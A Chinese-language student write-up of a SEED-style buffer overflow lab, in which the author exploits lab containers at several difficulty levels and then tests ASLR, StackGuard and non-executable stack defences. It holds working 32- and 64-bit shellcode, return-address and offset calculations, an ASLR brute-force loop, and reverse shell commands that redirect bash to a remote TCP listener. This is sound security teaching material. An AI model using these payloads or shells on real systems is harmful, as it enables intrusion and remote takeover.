Lab4——Buffer Overflow Attack
Environment Setup
1、禁用地址空间布局随机化(ASLR)。ASLR是一种安全功能,它随机化进程使用的内存地址,增加攻击者利用内存漏洞的难度。在大多数现代Linux发行版上,默认情况下启用ASLR。
sudo /sbin/sysctl -w kernel.randomize_va_space=0
2、编译存在漏洞的代码。下面命令-DBUF_SIZE=300
将stack.c
中的BUF_SIZE设置为300。-z execstack
这个参数告诉链接器在可执行文件的标志位中设置EXECSTACK
标志,允许栈上的可执行代码。-fno-stack-protector
这个参数禁用了栈保护机制,这是一种安全功能,用于检测和防止栈缓冲区溢出攻击。
gcc -DBUF_SIZE=$(L1) -o stack -z execstack -fno-stack-protector stack.c
编译的指令都在Makefile中了,执行make
指令编译服务代码和四种不同版本的stack程序,并执行make install
将可执行文件移动到bof-containers
。
make
make install
3、.bashrc中设置了docker的一些指令的别名来简化操作
# Commands for for docker
alias dcbuild='docker-compose build'
alias dcup='docker-compose up'
alias dcdown='docker-compose down'
alias dockps='docker ps --format "{{.ID}} {{.Names}}"'
docksh() { docker exec -it $1 /bin/bash; }
#=========================================
使用dcbuild构建容器
dcbuild
使用dcup启动容器
dcup
查看visual studio code中的docker扩展中的image和container,可知实验环境准备成功。
Task-1 Get Familiar with the Shellcode
看一下shellcode_32.py的源代码,shellcode如下所示,应该是x86_32架构的机器代码。shellcode_64.py略微不同,其为x86_64架构的机器代码。下面的shellcode实现的功能应该是在执行三条bash命令。
shellcode = (
"\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
"\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
"\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
"/bin/bash*"
"-c*"
"/bin/ls -l; echo Hello 32; /bin/tail -n 2 /etc/passwd *"
"AAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBB" # Placeholder for argv[1] --> "-c"
"CCCC" # Placeholder for argv[2] --> the command string
"DDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')
运行shellcode_32.py和shellcode_64.py分别生成32位和64位的代码载荷。
python3 shellcode_32.py # in path Labsetup/shellcode
python3 shellcode_64.py
使用Makefile编译call_shellcode.c生成32位和64位两个版本的调用shellcode的可执行文件。
make
然后执行两个版本的shellcode,执行结果如下。
[10/12/23]seed@VM:~/.../shellcode$ ./a64.out
total 64
-rw-rw-r-- 1 seed seed 160 Oct 12 02:56 Makefile
-rw-rw-r-- 1 seed seed 312 Oct 12 02:56 README.md
-rwxrwxr-x 1 seed seed 15740 Oct 12 04:21 a32.out
-rwxrwxr-x 1 seed seed 16888 Oct 12 04:21 a64.out
-rw-rw-r-- 1 seed seed 476 Oct 12 02:56 call_shellcode.c
-rw-rw-r-- 1 seed seed 136 Oct 12 04:19 codefile_32
-rw-rw-r-- 1 seed seed 165 Oct 12 04:19 codefile_64
-rw-rw-r-- 1 seed seed 1221 Oct 12 02:56 shellcode_32.py
-rw-rw-r-- 1 seed seed 1295 Oct 12 02:56 shellcode_64.py
Hello 64
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
telnetd:x:126:134::/nonexistent:/usr/sbin/nologin
ftp:x:127:135:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
[10/12/23]seed@VM:~/.../shellcode$ ./a32.out
total 64
-rw-rw-r-- 1 seed seed 160 Oct 12 02:56 Makefile
-rw-rw-r-- 1 seed seed 312 Oct 12 02:56 README.md
-rwxrwxr-x 1 seed seed 15740 Oct 12 04:21 a32.out
-rwxrwxr-x 1 seed seed 16888 Oct 12 04:21 a64.out
-rw-rw-r-- 1 seed seed 476 Oct 12 02:56 call_shellcode.c
-rw-rw-r-- 1 seed seed 136 Oct 12 04:19 codefile_32
-rw-rw-r-- 1 seed seed 165 Oct 12 04:19 codefile_64
-rw-rw-r-- 1 seed seed 1221 Oct 12 02:56 shellcode_32.py
-rw-rw-r-- 1 seed seed 1295 Oct 12 02:56 shellcode_64.py
Hello 32
ftp:x:127:135:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
修改一下shellcode,让其可实现删除文件。以x86_32架构下的为例,执行rm test
这条指令。
shellcode = (
"\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
"\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
"\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
"/bin/bash*"
"-c*"
"/bin/ls -l;rm test ;ls -l;/bin/tail -n 2 /etc/passwd *"
"AAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBB" # Placeholder for argv[1] --> "-c"
"CCCC" # Placeholder for argv[2] --> the command string
"DDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')
执行效果如图所示,第二次执行ls -l
的时候test文件已经不存在了。
Task-2 Level-1 Attack
第一个攻击目标运行在10.9.0.5:9090
上。使用nc连接一下10.9.0.5 9090
,不传入任何载荷,显示Returned Properly表示返回值正确。
Attack
根据上图的结果可知栈帧指针为0xffffd4d8即当前栈帧的栈底,缓冲区的地址为0xffffd468。于是可以画出栈的草图如下
根据exploit.py的源代码,最终的载荷content在服务端地址的开始位置即缓冲区地址。有start、ret、offset三个参数需要设置,第一个参数start表示shellcode的开始位置,第二个参数和第三个参数根据content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
这段代码可知是将offset地址处的内容覆盖为ret。
所以exploit生成攻击载荷的思路如下图所示。通过缓冲区溢出,将正确的返回地址覆盖,修改为ret。继续写入,使用空操作和编写的shellcode覆盖正确返回地址更高的栈空间。所以ret应该为shellcode及空操作区域的地址,这样当调用函数的栈帧返回时,会返回到ret指针的位置,即继续执行编写的shellcode以及一些空操作。
有了攻击思路之后,就可以设置三个参数并生成payload了。将start
设置为517 - len(shellcode)
,即将shellcode放在覆盖区域的最后面。将ret设置为0xffffd4d8+4+4
,即返回地址+4的位置,这样就将返回地址设置为栈中shellcode和空操作区域的开始地址了。然后设置offset为0xffffd4d8-0xffffd468+4
,即正确返回地址的位置相对于缓冲区地址的偏移量,用于将ret准确覆盖正确返回地址。
shellcode如下
python3 exploit.py # 生成payload
cat badfile | nc 10.9.0.5 9090 # 通过nc将payload发送到目标
查看服务端,发现执行成功
Reverse Shell
通过缓冲区溢出漏洞拿到对方的反弹shell。
首先在攻击方终端运行下面的命令。利用nc监听端口8888。
nc -lvnp 8888
然后修改shellcode如下,即在被控终端执行nc -e /bin/bash 0.0.0.0 8888
将对方发送的消息都当作bash命令执行并返回结果。
但是好像无法执行-e这个选项,那么更换一种反弹shell的方法。
在被控终端执行bash -i >& /dev/tcp/172.17.0.1/8888 0>&1
,172.17.0.1即为控制机IP地址,这个命令将它bash的输入和输出重定向到指定的TCP连接。。
然后生成payload并通过nc发送到被控机,发现监听的终端反弹shell成功,可以执行目标主机上的命令。
Task-3 Level-2 Attack
攻击思路:这题的攻击思路是根据缓冲区的大小可能的范围来设置返回地址,并通过在多个可能为正确返回地址的栈空间内写入攻击期望的返回地址来执行我们期望的指令。
这次攻击的目标的地址在10.9.0.6:9090
。执行echo hello | nc 10.9.0.6 9090
,可以看到缓冲区的地址为0xffffd418
。
这里只提供了缓存区的地址而没有提供栈指针。所以我们必须猜测缓冲区的大小和正确返回地址所在的地址。
依旧设置start = 517- len(shellcode)
让shellcode在payload的最后。将ret设置为缓冲区地址+buffer大小+8,由于这里的buffer大小未知,但是大小范围可知为[100, 300],故为保险将ret设置为缓冲区地址+300+8,即ret = 0xffffd418+300+8
。接下来要覆盖正确的返回地址,我们不知道正确返回地址在哪里,但是我们可以将所有可能的地址都设置为ret,代码如下所示,从缓冲区最小空间到超过缓冲区最大空间4以上的一个值(上限不能覆盖shellcode,我设置为300),设置步长为4,将这些区域全设置为ret,这样就可以保证覆盖正确返回地址。
for offset in range(100,300,4):
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
运行exploit.py,生成badfile,然后通过nc传输payload。查看服务端,发现执行成功。
如下图所示,反弹shell成功。
Task-4 Level-3 Attack
攻击思路:x86_64架构只有0x00到0x00007FFFFFFFFFFF的地址是能够被使用的,当stack读取到0x0000,payload内容会被截断,因此需要将shellcode放在返回地址的位置之前,然后将返回地址覆盖为shellcode开始位置。
这次的目标主机地址为10.9.0.7:9090
,且目标主机为x86_64架构,因此需要更改shellcode为x86_64架构的机器代码。
shellcode= (
"\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48"
"\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48"
"\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31"
"\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff"
"/bin/bash*"
"-c*"
# The * in this line serves as the position marker *
"echo 'exec successfully caixing 2023.10.13' *"
# "bash -i >& /dev/tcp/172.17.0.1/8888 0>&1 "
"AAAAAAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBBBBBB" # Placeholder for argv[1] --> "-c"
"CCCCCCCC" # Placeholder for argv[2] --> the command string
"DDDDDDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')
执行echo hello | nc 10.9.0.7 9090
,发现帧指针为0x00007fffffffe2c0
,缓冲区地址为0x00007fffffffe1f0
。
根据之前Task2的思路,同理修改ret与offset即可,只不过需要对64位架构进行适当修改。
ret = 0x00007fffffffe2c0+16 # Change this number
offset = 0x00007fffffffe2c0-0x00007fffffffe1f0+8 # Change this number
# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + 8] = (ret).to_bytes(8,byteorder='little')
但是这样修改并没有达到我们预期的效果。因为虽然是64位的架构,但是只有0x00到0x00007FFFFFFFFFFF的地址是能够被使用的,又因为刚刚设置的返回地址为0x00007fffffffe2c0+16
,所以当stack程序读取到0x0000时,字符串内容会被截断,因此在此之后的NOP以及shellcode都不会被stack程序读取,故无法执行期望结果。
我们可以重新构造payload,将shellcode放在payload的最开始(shellcode的地址为buffer的地址,即0x00007fffffffe1f0
),然后将ret修改为buffer的地址0x00007fffffffe1f0
,这样stack在被00截断之前能够把shellcode放入栈中。当栈帧执行完毕之后又返回到地址0x00007fffffffe1f0
,此时shellcode就不会作为buffer中的内容,而是作为程序指令执行了。
所以重新构造参数,将start设置为0,表示shellcode地址为buffer地址。将ret设置为0x00007fffffffe1f0
,表示第一次执行完栈帧后又返回到shellcode地址执行shellcode,此时这片区域不再作为缓冲区而是作为可执行的指令。最后获取正确返回地址的偏移量offset,设置为0x00007fffffffe2c0-0x00007fffffffe1f0+8
。生成payload然后传入服务端,查看服务端发现执行成功。
反弹shell成功。
Task5 Level-4 Attack
攻击思路:虽然shellcode被截断了,但是str还是存在内存空间的,只需要将返回值定位到这里即可。
这次的目标主机地址为10.9.0.8:9090
。发现帧指针为0x00007fffffffe620
,缓冲区地址为 0x00007fffffffe5c0
,相差96字节。
缓冲区远小于shellcode大小,因此跟task4一样无法将shellcode放入缓冲区,而放入返回地址之后又会被00截断。
但是在执行strcpy时,虽然被00截断了,buffer没有shellcode了,但是shellcode还存在在str中。故如果能够return到str的位置,那么还是可以执行shellcode。所以我们需要知道str相对于rbp或者buffer的大概位置。
我们自己编译一下stack.c程序,将buffer设置为80,然后添加-g使其可以被gdb调试。
gcc -DBUF_SIZE=80 -DSHOW_FP -z execstack -fno-stack-protector -o stack -g stack.c
然后使用gdb开始调试,在int length = fread(str, sizeof(char), 517, stdin);
这一行设置断点,执行r运行到此处,然后run < /home/seed/lab4/Labsetup/attack-code/badfile
将测试载荷写入。一直执行到函数dummy_function
,然后执行s进入该函数,继续执行到调用bof函数,s进入该函数。
继续单步执行,执行完strcpy(buffer, str);
将str复制到缓冲区之后,执行下面两个指令查看buffer和str在栈中的地址。str位于0x7fffffffde60
,buffer地址在0x7fffffffd9d0
。
gdb-peda$ p str # 查看str在栈中的地址
$7 = 0x7fffffffde60 '\220' <repeats 104 times>, "\230\353\377\377\377\177"
gdb-peda$ p &buffer # 查看buffer在栈中的地址
$9 = (char (*)[80]) 0x7fffffffd9d0
计算差值,十进制为1168。这样就能大概猜测到str相对于buffer的位置了。
开始设置参数,start等于517-len(shellcode)
。然后将ret设置为0x00007fffffffe5c0+1168+517-len(shellcode)
,即buffer地址加上偏移值1168,再加上517-len(shellcode)
使返回值落在shellcode之前的可能性增大。
生成payload然后传输服务端,发现执行成功。
反弹shell成功
Task6 Experimenting with the Address Randomization
攻击思路:开启了栈随机化。使用暴力破解攻破栈随机化执行反弹shell。
之前都是关闭了ASLR来攻击的,接下来执行下面的命令开启ASLR功能。
sudo /sbin/sysctl -w kernel.randomize_va_space=2
对task2的目标进行测试,发现两次执行的ebp和buffer地址不同了。
栈随机化是的栈的位置在程序每次运行时都有变化,因此即使许多机器运行同样的代码,它们的栈地址都是不同的。这种机制的实现方法就是在程序开始在栈上分配随即空间,程序不使用这段空间,但是它会导致程序每次执行后续的栈位置发生改变。分配的空间必须足够大,才能够获得足够多的栈地址变化,但是也不能太大,否则就太浪费空间了。
一种常见的破解方法就是在实际的攻击代码前插入一段很长的空操作(NOP),只要攻击者能够猜到这段NOP序列的某个地址,程序就会滑到我们嵌入的shellcode。这个序列常用的术语是“空操作雪橇(nop sled)”。如果我们建立一个256字节的nop序列,那么破解23位的随机化只需要枚举2^15=32768个地址,大大节省了暴力破解的时间。但是这种方法也只是节省爆破的时间,而不是百分百可行。
利用上面测试的随机一个栈空间分布,编写task2使用的exp参数,然后生成payload。
使用这个shell脚本执行爆破
#!/bin/bash
SECONDS=0
value=0
while true; do
value=$(( $value + 1 ))
duration=$SECONDS
min=$(($duration / 60))
sec=$(($duration % 60))
echo "$min minutes and $sec seconds elapsed."
echo "The program has been running $value times so far."
cat badfile | nc 10.9.0.5 9090
done
爆破了四分钟,执行了24812次终于破解了栈随机化,成功反弹shell。
Tasks 7: Experimenting with Other Countermeasures
a: Turn on the StackGuard Protection
stack protector的思想是在栈帧中任何局部缓冲区与栈状态之间存储一个特殊的”金丝雀值“,也称为“哨兵值”。是在程序每次运行时随机产生的,因此,攻击者没有办法知道它的准确值。在恢复寄存器状态和从函数返回之前,程序检查这个金丝雀值是否被改变了,如果被改变了那么程序异常终止。
编译一下,去除-fno-stack-protector
这个选项,也就是允许使用使用栈保护者。
gcc -DBUF_SIZE=100 -DSHOW_FP -z execstack -o stack stack.c
把badfile输入stack,缓冲区溢出,程序异常终止。*** stack smashing detected ***: terminated
,表示检测到栈溢出,程序终止。
b: Turn on the Non-executable Stack Protection
还可以通过消除攻击者向系统中插入可执行代码的能力,例如限制那些内存区域能够存放可执行代码。
编辑shellcode目录下的Makefile,去除-z execstack
将可执行代码设置为栈上不可执行。然后执行make编译成a32.out和a64.out。
all:
gcc -m32 -o a32.out call_shellcode.c
gcc -o a64.out call_shellcode.c
clean:
rm -f a32.out a64.out codefile_32 codefile_64
分别运行a32.out和a64.out,发生了段错误。程序访问了不可执行的栈空间,导致发生了段错误。当栈被设置为不可执行时,任何试图在栈上执行的指令都会触发Segmentation fault
错误。
开启栈不可执行可以提供一定程度的保护,但并不能完全避免缓冲区溢出攻击。即使栈不可执行,攻击者仍然可以利用其他方式进行攻击,例如利用Return-to-libc攻击。
Return-to-libc攻击是一种利用栈溢出漏洞的攻击技术,其中攻击者通过修改返回地址,使程序返回到已加载到内存中的某个库函数(libc函数)的地址,从而绕过栈不可执行的保护机制。攻击者可以利用这种方式执行恶意代码,而不是直接在栈上注入恶意代码。
Summary
缓冲区溢出攻击的普遍发生给计算机系统造成了许多麻烦。现代的编译器和操作系统实现了很多机制,以避免遭受这样的攻击,限制入侵者通过缓冲区溢出攻击获取系统控制的方法。例如栈随机化技术、栈破坏检测检测以及限制可执行代码区域等方法。
Reference
【1】 CSAPP 原书第三版
- 最新
- 最热
查看全部没有评论内容